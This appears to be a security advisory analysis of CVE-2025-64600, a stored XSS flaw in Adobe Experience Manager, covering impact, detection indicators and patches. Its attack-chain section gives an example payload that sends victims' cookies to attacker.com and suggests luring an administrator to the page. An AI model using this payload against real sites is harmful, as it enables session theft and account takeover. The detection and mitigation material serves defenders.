CVE-2025-64600: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64600 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-based attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) but no elevated privileges beyond a standard authenticated account. No public proof-of-concept code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, affecting other users of the AEM instance. While confidentiality and integrity impacts are rated low individually, the stored nature of the XSS means a single injection can affect multiple users over time (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept and store user-supplied input without adequate sanitization.
4. Inject XSS payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser session.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further account takeover or lateral movement (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-authored pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: Presence of <script> tags or JavaScript URIs within stored AEM content nodes (JCR repository) in fields not expected to contain markup.
• Logs: AEM error logs or browser console errors referencing unexpected script execution or Content Security Policy (CSP) violations on AEM-served pages.

Adobe has released patches addressing CVE-2025-64600 in AEM 6.5.24.0 (on-premises) and AEM as a Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a compensating control, enforcing a strict Content Security Policy (CSP) header on AEM instances can reduce the impact of XSS exploitation. Access to AEM authoring interfaces should be restricted to trusted, necessary users, and input validation/output encoding should be reviewed for custom components (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64600 among the December 2025 Adobe patch batch (CIS Advisory). No notable independent researcher commentary or significant social media discussion specific to this CVE has been identified, consistent with its medium severity rating and lack of active exploitation.